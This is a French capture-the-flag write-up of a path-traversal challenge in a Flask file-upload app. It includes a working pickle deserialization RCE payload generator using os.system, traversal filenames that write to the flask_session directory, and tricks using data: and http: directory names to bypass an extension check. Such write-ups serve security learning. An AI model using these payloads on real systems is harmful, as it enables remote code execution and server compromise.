Futur Upload

Enoncé

Cloud storage is back in 2077, better UI and folders management !

Résolution

Avec le code source, on peut voir qu’il y a une path traversal dans l’upload de fichier.

Cependant accès uniquement a /app/user_files/ et /app/flask_session/

Toutes les autres méthodes semblent correctement protégé

Si on arrive a upload un fichier sérialisé avec python pickle dans /app/flask_session/MD5HASH, on peut obtenir la RCE.

Problème 1 : Nous n’avons pas la SESSION_KEY_PREFIX qui permet de créer le hash MD5HASH Problème 2 : Nous sommes obligé d’upload le fichier avec .png ou .jpg

On a bien vérifier que si on upload un fichier avec le hash, les données sérialisé alors il s’execute si on envoie le bon jeton de session, mais nous sommes bloqués par le deux problèmes

import pickle
import base64
import os

# Objet malveillant qui appelle os.system pour exécuter une commande
class RCE:
    def __reduce__(self):
        return (os.system, ('echo "test" > /app/user_files/df214423-da5a-41d8-b862-507f95d7dce8/test.txt',))

# Création d'un payload pickle malveillant
payload = pickle.dumps({'_permanent': False, 'user_id': 'admin', 'data': RCE()})

# Ajout des 4 premiers bytes à 0 pour signaler que c'est un pickle
payload_with_magic_header = b'\x00\x00\x00\x00' + payload

# Encodage en base64 pour l'injecter dans un cookie ou dans un fichier de session
encoded_payload = base64.b64encode(payload_with_magic_header)

# Affichage du payload encodé en base64
print("Payload encodé en base64 avec 4 bytes 0 :")
print(encoded_payload.decode('utf-8'))

On n’a pas réussi a allez plus loin.

On a demandé à la fin du CTF :

Créer un directory « data:image, » dedans, créer un autre directory « png;base64, » »

ensuite upload un objet pickle nommé

test/../../../../../../app/flask_session/2029240f6d1128be89ddc32729463129

Ce qui donne un upload vers :

data:image/png;base64,test/../../../../../../app/flask_session/2029240f6d1128be89ddc32729463129

Pour path traversal et aller écrire le fichier 2029240f6d1128be89ddc32729463129 qui change jamais de nom pour les app flask_session et est désérialisé a chaque requête

OU :

Créer les dossiers http:, a.fr, a.jpg# et ensuite tu peux upload ce que tu veux où tu veux car mimetype va utiliser filename= « http:/a.fr/a.jpg#/../../chemin/fichier » car le check comprend et accepte les urls

Il nous manquer le data:image et png;base64 qui permettait de bypass le .png Ou le http://a.fr/a.jpg#/../../../

Et ensuite on utilise le 2029240f6d1128be89ddc32729463129 qui est déjà présent plutôt que de tenter de recalculer le hash a cause de la clé session_key_prefix